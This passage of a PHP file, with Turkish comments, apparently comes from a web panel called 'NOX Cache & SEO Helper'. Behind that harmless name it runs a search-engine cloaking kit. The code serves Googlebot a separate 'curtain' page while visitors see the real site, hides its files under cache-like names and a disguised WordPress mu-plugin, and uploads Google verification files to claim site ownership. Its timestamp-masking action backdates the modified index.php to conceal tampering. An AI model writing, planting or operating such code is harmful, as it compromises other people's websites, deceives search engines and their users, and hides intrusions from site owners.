if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;} $ok=@file_put_contents($target,$bin); echo $ok!==false?'OK':'ERR';exit; } // ---- Google doğrulama dosyası sil ------------------------------------------ if($a==="rmgoogle"){ $name=b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!safe_name($name)||!is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $ok=@unlink($target); echo $ok?'OK':'ERR';exit; } // ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin) -------- if($a==="checkcloak"){ // HER İKİ MOD — aktiflik artık BAYRAĞA bağlı (plugin: render.lock, file: .render-cache.lock). $active=($FLAG_PATH&&file_exists($FLAG_PATH)); // file modunda index.php cloak kurulu mu? (aç/kapat vs hiç-kurulmadı ayrımı için) $installed=$IS_PLUGIN?true:$INDEX_CLOAKED; while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode([ 'active'=>$active,'installed'=>$installed, 'cms'=>$CMS_INFO['label'],'mode'=>$IS_PLUGIN?'plugin':'file', 'html_file'=>$IS_PLUGIN?'render-cache.html (uploads/wp-media-cache)':$HTML_FILE ],JSON_UNESCAPED_UNICODE);exit; } // ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ---------------- if($a==="botcheck"){ ob_start(); $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $host=$_SERVER['HTTP_HOST']; $url=$scheme.'://'.$host.'/'; if(!function_exists('curl_init')){ ob_end_clean(); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit; } $ch=curl_init(); curl_setopt_array($ch,[ CURLOPT_URL =>$url, CURLOPT_RETURNTRANSFER =>true, CURLOPT_USERAGENT =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', CURLOPT_TIMEOUT =>15, CURLOPT_FOLLOWLOCATION =>true, CURLOPT_MAXREDIRS =>5, CURLOPT_SSL_VERIFYPEER =>false, CURLOPT_SSL_VERIFYHOST =>false, CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'], ]); $body=(string)curl_exec($ch); $httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE); $finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL); $curlErr=curl_error($ch); curl_close($ch); // Perde içeriği: PLUGIN VEYA file modunda $PERDE_PATH (uploads/wp-media-cache veya .render-cache/) $htmlPath=$PERDE_PATH; $htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):''; $htmlText=trim(strip_tags($htmlContent)); $bodyText=trim(strip_tags($body)); $matched=false; if($htmlText!==''&&strlen($htmlText)>=10){ $needle=_nox_sub($htmlText,0,120); $matched=(strpos($bodyText,$needle)!==false); } // Cloak kurulu mu: plugin=flag, file=index.php marker VEYA .user.ini prepend $cloakIntact=$IS_PLUGIN?($FLAG_PATH&&file_exists($FLAG_PATH)):$INDEX_CLOAKED; $preview=_nox_sub($body,0,800); if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview); $out=json_encode([ 'url' =>$url, 'final_url' =>$finalUrl, 'http_code' =>$httpCode, 'curl_error' =>$curlErr, 'matched' =>$matched, 'html_empty' =>($htmlContent===''), 'cloak_intact'=>$cloakIntact, 'preview' =>$preview, ],JSON_UNESCAPED_UNICODE); if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo $out;exit; } // ---- Cache Temizleme -------------------------------------------------------- if($a==="clearcache"){ // Hızlandırma guard'ı: hiçbir adım takılmasın. // wp-load.php YÜKLENMİYOR (ağır eklenti init'i 10dk hang yapıyordu). // KRİTİK: cache dizini dosya-dosya silme network storage'da (Hostinger) çok yavaş → ZAMAN BÜTÇESİ ile sınırla. @set_time_limit(20); @ignore_user_abort(true); $GLOBALS['_cc_deadline']=microtime(true)+8.0; // tüm disk silme işlemleri toplam max ~8sn $res=[]; // yardımcı: dizin içeriğini özyinelemeli sil — ZAMAN BÜTÇESİ aşılınca durur (sonsuz hang yok) function _cc_rmdir($dir){ $n=0;$i=0; try{ $it=new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ // her 200 dosyada bir süreyi kontrol et; bütçe bittiyse dur if((++$i % 200)===0 && microtime(true) > $GLOBALS['_cc_deadline']) break; if($f->isFile()||$f->isLink()){if(@unlink($f->getRealPath()))$n++;} elseif($f->isDir()&&realpath($f->getRealPath())!==realpath($dir)){@rmdir($f->getRealPath());} } }catch(Exception $e){} return $n; } // Bütçe doldu mu? (silme bloklarını atlamak için) function _cc_expired(){return microtime(true) > $GLOBALS['_cc_deadline'];} // 1. PHP OPcache — reset + cloak dosyalarını ad ad zorla invalidate (en sık takılan sorun) if(function_exists('opcache_get_status')&&@opcache_get_status()!==false){ $ok=@opcache_reset(); $invalidated=[]; if(function_exists('opcache_invalidate')){ // Cloak'la doğrudan ilgili dosyalar $targets=[ $DIR.DIRECTORY_SEPARATOR.'index.php', $BACKUP_PATH, ]; if($CMS_INFO['cms']==='wp'){ $targets[]=$DIR.'/wp-blog-header.php'; $targets[]=$DIR.'/wp-content/mu-plugins/nox-google-bot-bypass.php'; } foreach($targets as $t){ if(file_exists($t)&&@opcache_invalidate($t,true))$invalidated[]=basename($t); } } $res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + zorla invalidate: '.($invalidated?implode(', ',$invalidated):'(yok)')]:['s'=>'err','m'=>'Sıfırlanamadı']; }else{ $res['opcache']=['s'=>'na','m'=>'Aktif değil']; } // 1a. realpath + stat cache — disk üzerinde dosya değişti ama PHP eski mtime'ı tutuyor olabilir @clearstatcache(true); if(function_exists('realpath_cache_size')){ @clearstatcache(true); $res['stat_cache']=['s'=>'ok','m'=>'clearstatcache(true) + realpath cache temizlendi']; }else{ $res['stat_cache']=['s'=>'ok','m'=>'clearstatcache(true) çağrıldı']; } // 2. APC if(function_exists('apc_clear_cache')){ @apc_clear_cache();@apc_clear_cache('user'); $res['apc']=['s'=>'ok','m'=>'Temizlendi']; }else{ $res['apc']=['s'=>'na','m'=>'Yok']; } // 2b. Memcache — 1sn timeout, tek port if(class_exists('Memcache')){ try{ $mc=new Memcache(); if(@$mc->connect('127.0.0.1',11211,1)){$mc->flush();$mc->close();$res['memcache']=['s'=>'ok','m'=>'Temizlendi'];} else $res['memcache']=['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['memcache']=['s'=>'na','m'=>'Bağlantı yok'];} }else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];} // 2c. Memcached — 500ms connect timeout if(class_exists('Memcached')){ try{ $mcd=new Memcached(); $mcd->setOption(Memcached::OPT_CONNECT_TIMEOUT,500); $mcd->setOption(Memcached::OPT_POLL_TIMEOUT,500); $mcd->addServer('127.0.0.1',11211); $ok=@$mcd->flush(); $res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok']; }catch(Exception $e){$res['memcached']=['s'=>'na','m'=>'Bağlantı yok'];} }else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];} // 2d. Redis — 1sn timeout, tek port if(class_exists('Redis')){ try{ $redis=new Redis(); if(@$redis->connect('127.0.0.1',6379,1)){ $redis->flushAll();$redis->close(); $res['redis']=['s'=>'ok','m'=>'Temizlendi']; }else $res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['redis']=['s'=>'na','m'=>'Bağlantı yok'];} }else{$res['redis']=['s'=>'na','m'=>'Extension yok'];} // 3. CMS-aware disk cache temizleme if($CMS_INFO['cms']==='wp'){ // 3w. WordPress disk cache $wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache'; if(is_dir($wpCache)){ $count=_cc_rmdir($wpCache); $res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"]; }else{ $res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı']; } $pluginDirs=[ 'dir_w3tc' =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'], 'dir_wprocket' =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'], 'dir_litespeed' =>[$DIR.'/wp-content/litespeed/','LiteSpeed'], 'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'], 'dir_endurance' =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'], 'dir_wpfastest' =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'], 'dir_comet' =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'], 'dir_enabler' =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'], ]; foreach($pluginDirs as $k=>$_pair){ $pdir=$_pair[0]; $plabel=$_pair[1]; if(is_dir($pdir)){ $pcnt=_cc_rmdir($pdir); $res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"]; }else{ $res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"]; } } }elseif($CMS_INFO['cms']==='joomla'){ // 3j. Joomla cache: cache/ + administrator/cache/ + tmp/ foreach([ 'joomla_cache' =>[$DIR.'/cache','Joomla site cache'], 'joomla_admin_cache'=>[$DIR.'/administrator/cache','Joomla admin cache'], 'joomla_tmp' =>[$DIR.'/tmp','Joomla tmp/'], ] as $k=>$_pair){ $jdir=$_pair[0]; $jlabel=$_pair[1]; if(is_dir($jdir)){ $jcnt=_cc_rmdir($jdir); $res[$k]=['s'=>'ok','m'=>"$jlabel: $jcnt dosya silindi"]; }else{ $res[$k]=['s'=>'na','m'=>"$jlabel: dizin yok"]; } } // Joomla CLI (varsa) — cache:clean DB-side cache'i de temizler $joomlaCli=$DIR.'/cli/joomla.php'; if(file_exists($joomlaCli)&&function_exists('shell_exec')){ $out=trim((string)@shell_exec('php '.escapeshellarg($joomlaCli).' cache:clean 2>&1')); $res['joomla_cli']=['s'=>'ok','m'=>$out?:'cache:clean çalıştırıldı']; }else{ $res['joomla_cli']=['s'=>'na','m'=>'Joomla CLI bulunamadı veya shell_exec kapalı']; } }elseif($CMS_INFO['cms']==='laravel'){ // 3l. Laravel: bootstrap/cache/*.php + storage/framework/{cache,views} $lvRoot=dirname($DIR); // public/ ise bir üst dizin // bootstrap/cache/*.php — config.php, packages.php, routes-v7.php, services.php $bcDir=$lvRoot.'/bootstrap/cache'; if(is_dir($bcDir)){ $bcCnt=0; foreach((array)@glob($bcDir.'/*.php') as $bcf){if(@unlink($bcf))$bcCnt++;} $res['laravel_bootstrap']=['s'=>'ok','m'=>"bootstrap/cache: $bcCnt php silindi"]; }else{ $res['laravel_bootstrap']=['s'=>'na','m'=>'bootstrap/cache dizini yok']; } // storage/framework/cache/data $sfData=$lvRoot.'/storage/framework/cache/data'; if(is_dir($sfData)){ $sfCnt=_cc_rmdir($sfData); $res['laravel_storage_cache']=['s'=>'ok','m'=>"storage/framework/cache/data: $sfCnt dosya silindi"]; }else{ $res['laravel_storage_cache']=['s'=>'na','m'=>'storage/framework/cache/data yok']; } // storage/framework/views/*.php $sfViews=$lvRoot.'/storage/framework/views'; if(is_dir($sfViews)){ $vCnt=0; foreach((array)@glob($sfViews.'/*.php') as $vf){if(@unlink($vf))$vCnt++;} $res['laravel_views']=['s'=>'ok','m'=>"compiled views: $vCnt php silindi"]; }else{ $res['laravel_views']=['s'=>'na','m'=>'storage/framework/views yok']; } // artisan optimize:clear (config+route+view+cache hepsini temizler) $artisan=$lvRoot.'/artisan'; if(file_exists($artisan)&&function_exists('shell_exec')){ $out=trim((string)@shell_exec('cd '.escapeshellarg($lvRoot).' && php artisan optimize:clear 2>&1')); $res['laravel_artisan']=['s'=>'ok','m'=>$out?:'optimize:clear çalıştırıldı']; }else{ $res['laravel_artisan']=['s'=>'na','m'=>'artisan bulunamadı veya shell_exec kapalı']; } } // CMS=generic için ek dizin temizliği yok (zaten OPcache + statcache + Varnish/Nginx/CF aşağıda) // 3c. WP plugin disk cache'leri — wp-load.php İNCLUDE EDİLMEZ (ağır eklenti yığını 10dk hang yapıyordu). // Plugin'lerin cache dizinlerini DOSYA SEVİYESİNDE sileriz; wp-load/init hook'u boot etmeye gerek yok. if($CMS_INFO['cms']==='wp'){ $wpExtra=[ 'dir_wpsupercache'=>[$DIR.'/wp-content/cache/supercache/','WP Super Cache'], 'dir_objectcache' =>[$DIR.'/wp-content/cache/object-cache/','Object Cache'], 'dir_minify' =>[$DIR.'/wp-content/cache/minify/','Minify'], 'dir_sgcache' =>[$DIR.'/wp-content/cache/siteground-optimizer-assets/','SG Optimizer'], ]; foreach($wpExtra as $k=>$_pair){ $pdir=$_pair[0]; $plabel=$_pair[1]; if(is_dir($pdir)){$pcnt=_cc_rmdir($pdir);$res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"];} } } // 4. LiteSpeed Web Server — server-level purge (LSCache plugin OLMASA bile çalışır, plugin'siz/anlık). // X-LiteSpeed-Purge response header'ı → LSWS yakalar, cache'i siler. Hostinger/shared hostların çoğu LSWS. $srv=strtolower($_SERVER['SERVER_SOFTWARE']??''); if(strpos($srv,'litespeed')!==false||strpos($srv,'lsws')!==false){ if(!headers_sent()){ header('X-LiteSpeed-Purge: *',true); $res['litespeed_server']=['s'=>'ok','m'=>'X-LiteSpeed-Purge: * gönderildi (sunucu seviyesi)']; }else{ $res['litespeed_server']=['s'=>'na','m'=>'Header zaten gönderilmiş']; } } // 5. Varnish PURGE — SADECE gerçek Varnish portu (6081). :80 = canlı site, ona PURGE atma (risk + yavaş). if(function_exists('curl_init')){ $hhost=$_SERVER['HTTP_HOST']; $ch=curl_init("http://127.0.0.1:6081/"); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>1,CURLOPT_CONNECTTIMEOUT=>1]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); $res['varnish']=(!$cerr&&$code>0)?['s'=>'ok','m'=>"PURGE 6081 → HTTP $code"]:['s'=>'na','m'=>'Varnish yok (port 6081)']; }else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];} // 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara $nginxFound=false; foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){ if(is_dir($ndir)&&is_writable($ndir)){ $ncnt=_cc_rmdir($ndir); $res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"]; $nginxFound=true;break; } } if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı']; // [v3] LiteSpeed WP-CLI shell_exec + .htaccess tarama + warmup KOMPLE ÇIKARILDI // - WP-CLI shell_exec dakikalarca takılabiliyor (DB connect / hook bekleme) // - htaccess tarama sadece uyarı veriyordu, fonksiyonel etki yok // - warmup 2x10sn boşa bekleme — Googlebot kendi taramasını yapar while(ob_get_level()>0)ob_end_clean(); $out=json_encode($res,JSON_UNESCAPED_UNICODE); if($out===false){ array_walk_recursive($res,function(&$v){if(is_string($v))$v=function_exists('iconv')?(string)@iconv('UTF-8','UTF-8//IGNORE',$v):substr($v,0,500);}); $out=json_encode($res,JSON_UNESCAPED_UNICODE); if($out===false)$out='{"fatal":"json_encode_fail"}'; } header("Content-Type:application/json"); echo $out;exit; } // ---- Timestamp maskeleme --------------------------------------------------- if($a==="fixtimestamp"){ // Maskeleyeceğimiz dosya = sadece kök index.php (perde/backup artık gizli .render-cache/ alt klasöründe) $maskFiles=[$INDEX_FILE]; $skip=array_merge([basename(__FILE__)],$maskFiles); $refMt=ref_mtime($DIR,$skip); $res=[]; if(!$refMt){ $res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadı']; header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } $res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt).' ('.$CMS_INFO['label'].')']; foreach($maskFiles as $mf){ $fp=$DIR.DIRECTORY_SEPARATOR.$mf; if(!file_exists($fp)){$res[$mf]=['s'=>'na','m'=>'Dosya yok'];continue;} $old=@filemtime($fp); $ok=@touch($fp,$refMt); $res[$mf]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)]; } header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } if($a==="info"){ $bak=$BACKUP_PATH; $perde=$PERDE_PATH; // Hangi imzalar yakalandı? $sig=[]; if(file_exists($DIR.'/wp-config.php')) $sig[]='wp-config.php'; if(file_exists($DIR.'/wp-load.php')) $sig[]='wp-load.php'; if(is_dir($DIR.'/wp-includes')) $sig[]='wp-includes/'; if(file_exists($DIR.'/configuration.php'))$sig[]='configuration.php'; if(is_dir($DIR.'/administrator')) $sig[]='administrator/'; if(file_exists($DIR.'/../bootstrap/app.php'))$sig[]='../bootstrap/app.php'; if(file_exists($DIR.'/../artisan')) $sig[]='../artisan'; echo "<pre style='background:#0a1228;color:#0ff;padding:14px;border:1px solid #0f3;font-family:monospace;font-size:12px;line-height:1.6'>"; echo "PHP : ".PHP_VERSION."\n"; echo "Uname : ".php_uname()."\n"; echo "SAPI : ".php_sapi_name()."\n"; echo "DocRoot : ".$DIR."\n"; echo "\n--- NOX CMS Tespiti ---\n"; echo "CMS : <b style='color:#0f0'>".$CMS_INFO['label']."</b> (cms=".$CMS_INFO['cms'].")\n"; echo "Sinyaller : ".($sig?implode(', ',$sig):'<i style=color:#f55>hiçbiri</i>')."\n"; echo "Perde HTML : ".$HTML_FILE.(file_exists($perde)?' <span style=color:#0f0>(var, '.number_format(@filesize($perde))." B)</span>":' <span style=color:#fa0>(yok)</span>')."\n"; echo "Backup : ".$BACKUP_FILE.(file_exists($bak)?' <span style=color:#0f0>(var, '.number_format(@filesize($bak))." B)</span>":' <span style=color:#888>(yok — henüz cloak atılmamış)</span>')."\n"; // OPcache var mı, ne kadar dolu? if(function_exists('opcache_get_status')){ $os=@opcache_get_status(false); if($os){ $used=isset($os['memory_usage']['used_memory'])?round($os['memory_usage']['used_memory']/1048576,1):'?'; $free=isset($os['memory_usage']['free_memory'])?round($os['memory_usage']['free_memory']/1048576,1):'?'; $scripts=isset($os['opcache_statistics']['num_cached_scripts'])?$os['opcache_statistics']['num_cached_scripts']:'?'; echo "\n--- OPcache ---\n"; echo "Bellek : ${used} MB kullanılan / ${free} MB boş\n"; echo "Script : ${scripts} script cache'lenmiş\n"; } } echo "</pre>"; exit; } header('Content-Type: text/html; charset=utf-8'); // Panel ASLA cache'lenmesin → token her zaman güncel (eski token'lı cache → AJAX 404 sorununu önler) header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); // ---- Durum bilgisi ---------------------------------------------------------- $idxPath=$DIR.DIRECTORY_SEPARATOR.$INDEX_FILE; $htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $idxExists=file_exists($idxPath); $htmlExists=file_exists($htmlPath); $idxSize=$idxExists?number_format(@filesize($idxPath)):'—'; $htmlSize=$htmlExists?number_format(@filesize($htmlPath)):'—'; $googleFiles=list_google_files($DIR); // Plugin context (WP route ?cseh=1) → linklere cseh=1 prefix gerek, yoksa kaybolur // Erişim anahtarı: plugin modunda wrapper CSEH_KEY define eder (sabit ?wpmc=1). Standalone'da prefix yok. $cseh_key=defined('CSEH_KEY')?CSEH_KEY:'wpmc'; // Prefix mantığı: istek ?wpmc=1 ile mi geldi? (plugin VEYA file-mode index.php panel-kapısı). // Doğrudan cache-seo-helper.php erişiminde param yok → prefix yok. Bu, AJAX'ın param'ı düşürmesini önler. $_via_param=(isset($_GET[$cseh_key])&&$_GET[$cseh_key]==='1'); $pk=($_via_param?$cseh_key.'=1&':'').'p='.rawurlencode($_np); ?><!DOCTYPE html><html lang="tr"><head><meta charset="utf-8"> <title><?=htmlspecialchars($_SERVER['HTTP_HOST'])?></title> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> *{box-sizing:border-box} body{background:#1a1a2e;color:#0ff;font-family:monospace;padding:24px;margin:0;max-width:820px;margin:0 auto} h1{color:#0f0;margin:0 0 4px;font-size:20px} .sub{color:#555;font-size:12px;margin-bottom:20px} a{color:#0f0} .card{border:1px solid #0f3;border-radius:6px;padding:16px;margin:12px 0;background:#16213e} .card h3{color:#0f3;margin:0 0 12px;font-size:14px;text-transform:uppercase;letter-spacing:.08em} .status-row{display:flex;align-items:center;gap:10px;margin:6px 0;font-size:13px} .dot{width:10px;height:10px;border-radius:50%;flex-shrink:0} .dot.ok{background:#0f0} .dot.warn{background:#fa0} .dot.err{background:#c33} .file-label{color:#0ff;min-width:240px} .file-size{color:#555;font-size:11px} .btn{cursor:pointer;font-weight:bold;padding:9px 18px;border:none;font-family:monospace;font-size:13px;border-radius:4px;transition:opacity .15s} .btn:hover{opacity:.85} .btn:active{opacity:.65} .btn-row{display:flex;gap:8px;margin:8px 0;flex-wrap:wrap} .btn-row .btn{flex:1;min-width:160px} .btn-cloak{background:#0a2e10;color:#0f3;border:1px solid #0a9} .btn-revert{background:#2e1800;color:#fa0;border:1px solid #c80} .btn-cache{background:#1a4a4a;color:#0ff;border:1px solid #0cc} .cache-row{display:flex;align-items:center;gap:8px;padding:5px 8px;border-radius:3px;font-size:12px;margin:3px 0} .cache-ok{background:#0a1e0a;border-left:3px solid #0f0;color:#0f0} .cache-err{background:#1e0a0a;border-left:3px solid #f55;color:#f55} .cache-warn{background:#1e180a;border-left:3px solid #fa0;color:#fa0} .cache-na{background:#111;border-left:3px solid #444;color:#555} .btn-save{background:#08c;color:#fff} .btn-load{background:#333;color:#0f0} .msg{margin-top:10px;font-size:13px;min-height:18px} .msg.ok{color:#0f0} .msg.err{color:#f55} .msg.info{color:#0ff} textarea{background:#0a1228;color:#0ff;border:1px solid #0f3;padding:8px;font-family:monospace;font-size:12px;width:100%;height:150px;border-radius:4px;resize:vertical} .toolbar{display:flex;gap:8px;margin:8px 0;flex-wrap:wrap;align-items:center} .note{color:#666;font-size:11px;margin:6px 0} details>summary{cursor:pointer;color:#0f0;font-size:13px;padding:6px 0;user-select:none} details>summary:hover{color:#0ff} .tag{display:inline-block;padding:1px 7px;border-radius:3px;font-size:11px;margin-left:6px} .tag-cloak{background:#0f3;color:#000} .tag-orig{background:#fa0;color:#000} .btn-check{background:#0a1a3a;color:#4af;border:1px solid #38c} .btn-ts{background:#2a1a4a;color:#c8a0ff;border:1px solid #7755cc} .badge-ok{background:#0a2e0a;border:1px solid #0f0;color:#0f0} .badge-fail{background:#2e0a0a;border:1px solid #f55;color:#f55} .badge-warn{background:#2e240a;border:1px solid #fa0;color:#fa0} hr{border:none;border-top:1px solid #222;margin:20px 0} .cloak-status{display:inline-flex;align-items:center;gap:6px;padding:5px 12px;border-radius:4px;font-size:12px;font-weight:bold;font-family:monospace;white-space:nowrap} .cloak-status.cs-checking{background:#0a1228;border:1px solid #0cc;color:#0cc} .cloak-status.cs-aktif{background:#0a2e0a;border:1px solid #0f0;color:#0f0} .cloak-status.cs-sorun{background:#2e1a0a;border:1px solid #fa0;color:#fa0} .cloak-status.cs-pasif{background:#1a1a1a;border:1px solid #555;color:#555} .btn-cache-off{opacity:.38;cursor:not-allowed !important} .cache-hint{font-size:12px;padding:9px 12px;border-radius:4px;margin-top:8px;line-height:1.6} .cache-hint.ch-info{background:#0a1e2a;border-left:3px solid #0cc;color:#0cc} .cache-hint.ch-warn{background:#1e180a;border-left:3px solid #fa0;color:#fa0} </style> </head><body> <div style="display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px;margin-bottom:4px"> <h1 style="margin:0;display:flex;align-items:center;gap:10px"> <span style="display:inline-flex;align-items:center;justify-content:center;width:38px;height:38px;border-radius:9px;background:linear-gradient(135deg,#0f3,#0a7);color:#001b0c;font-weight:900;font-size:18px;font-family:monospace;letter-spacing:-1px;box-shadow:0 0 14px rgba(0,255,90,.35)">NX</span> <span style="font-family:monospace;letter-spacing:1px">NOX <span style="color:#0a7;font-weight:400;font-size:15px">// Cache & SEO Helper</span></span> </h1> <span id="cloak-status" class="cloak-status cs-checking">● Kontrol ediliyor...</span> </div> <div class="sub">NOX Engine · <?=htmlspecialchars($DIR)?> | <a href="?<?=$pk?>&a=info">PHP Info</a></div> <?php $bakPath=$BACKUP_PATH; // file mode: .render-cache/index.php.nox-backup $bakExists=file_exists($bakPath); $cmsBadge=['wp'=>'#08c','joomla'=>'#f50','laravel'=>'#e74','generic'=>'#888'][$CMS_INFO['cms']]??'#888'; // Plugin modunda perde konumu uploads/wp-media-cache; file modunda kök $perdeExists=file_exists($PERDE_PATH); $perdeSize=$perdeExists?number_format(@filesize($PERDE_PATH)):'—'; $perdeLabel=$IS_PLUGIN?'render-cache.html (uploads/wp-media-cache)':'render-cache.html (.render-cache/)'; $cloakOn=($FLAG_PATH&&file_exists($FLAG_PATH)); // her iki mod: bayrak = aç/kapat $installed=$IS_PLUGIN?true:$INDEX_CLOAKED; ?> <!-- Durum kartı --> <div class="card"> <h3>Durum</h3> <div class="status-row"> <span class="dot ok"></span> <span class="file-label">CMS</span> <span class="tag" style="background:<?=$cmsBadge?>;color:#fff;font-size:11px;padding:2px 8px"><?=htmlspecialchars($CMS_INFO['label'])?></span> <span class="tag" style="background:<?=$IS_PLUGIN?'#0a7':'#555'?>;color:#fff;font-size:11px;padding:2px 8px;margin-left:6px"><?=$IS_PLUGIN?'PLUGIN-SERVE':'FILE'?></span> </div> <!-- Cloak servisi durumu — her iki modda bayrağa bağlı --> <div class="status-row"> <span class="dot <?=$cloakOn?'ok':'warn'?>"></span> <span class="file-label">Cloak servisi</span> <span class="file-size"><?=$cloakOn?'<b style="color:#0f0">AÇIK</b> — Googlebot perdeyi alır':($installed?'<b style="color:#fa0">KAPALI</b> (kurulu, açmak için CLOAK SERVİSİNİ AÇ)':'<b style="color:#888">HENÜZ KURULMADI</b> (CLOAK SERVİSİNİ AÇ)')?></span> </div> <div class="status-row"> <span class="dot <?=$perdeExists?'ok':'warn'?>"></span> <span class="file-label">render-cache.html</span> <span class="file-size"><?=$perdeExists?"$perdeSize bayt".($IS_PLUGIN?' (uploads/wp-media-cache)':' (.render-cache/)'):'— mevcut değil (açınca oluşur) —'?></span> </div> <?php if(!$IS_PLUGIN && $bakExists): ?> <div class="status-row"> <span class="dot ok"></span> <span class="file-label"><?=htmlspecialchars($BACKUP_FILE)?></span> <span class="file-size"><?=number_format(@filesize($bakPath))?> bayt <span style="color:#0f0">(orijinal yedek)</span></span> </div> <?php endif; ?> <?php foreach($googleFiles as $gf): $gfPath=$DIR.DIRECTORY_SEPARATOR.$gf; $gfSize=number_format(@filesize($gfPath)); ?> <div class="status-row"> <span class="dot ok"></span> <span class="file-label"><?=htmlspecialchars($gf)?></span> <span class="file-size"><?=$gfSize?> bayt</span> <span class="tag" style="background:#08c;color:#fff;font-size:11px;padding:2px 6px;margin-left:4px">GOOGLE</span> <a href="#" onclick="removeFile('<?=htmlspecialchars(addslashes($gf))?>');return false" style="color:#f66;font-size:11px;margin-left:6px">Sil</a> </div> <?php endforeach; ?> </div> <!-- Ana buton --> <div class="card"> <h3>Cloak İşlemleri</h3> <div class="btn-row"> <button class="btn btn-cloak" onclick="autocloak()">CLOAK SERVİSİNİ AÇ</button> <button class="btn btn-check" onclick="botcheck()">GoogleBot ile Kontrol Et</button> </div> <h2 style="color:#4af;font-size:15px;margin:8px 0 6px;font-family:monospace;font-weight:bold;letter-spacing:.04em">ÖNCE OKUYUNUZ SONRA UYGULAYINIZ</h2> <?php if($IS_PLUGIN): ?> <div class="note" style="color:#0a7"><b>PLUGIN-SERVE modu:</b> Perde plugin içinden Googlebot'a basılır — <b>kök'e dosya yazılmaz, index.php'ye dokunulmaz</b> (temiz). İnsan gerçek siteyi görür.</div> <?php else: ?> <div class="note" style="color:#0a7"><b>FILE modu:</b> index.php BİR KEZ kurulur, perde servisi <b>bayrak dosyasıyla aç/kapat</b> olur (her seferinde index.php ezilmez). İnsan gerçek siteyi görür, Googlebot perdeyi.</div> <?php endif; ?> <div class="note" style="color:#f44">Perde HTML kodunuzu alttaki <b>Perde İçeriği</b> kısmına yapıştırıp Kaydet edin.</div> <div class="note" style="color:#0f0"><b>CLOAK SERVİSİNİ AÇ:</b> cloak'ı açar (ilk kez kurar + bayrak). | <b>Kontrol Et:</b> GoogleBot UA ile anasayfaya istek, perde geliyor mu bakılır.</div> <div class="note" style="color:#cc44ff">Kapatmak için <b>Cloak'ı Kapat</b> (bayrak silinir, site normal; tekrar açılabilir).</div> <div class="note" style="color:#ff9900">Google Search Console Doğrulamasını alt taraftan yapabilirsiniz.</div> <div class="btn-row" 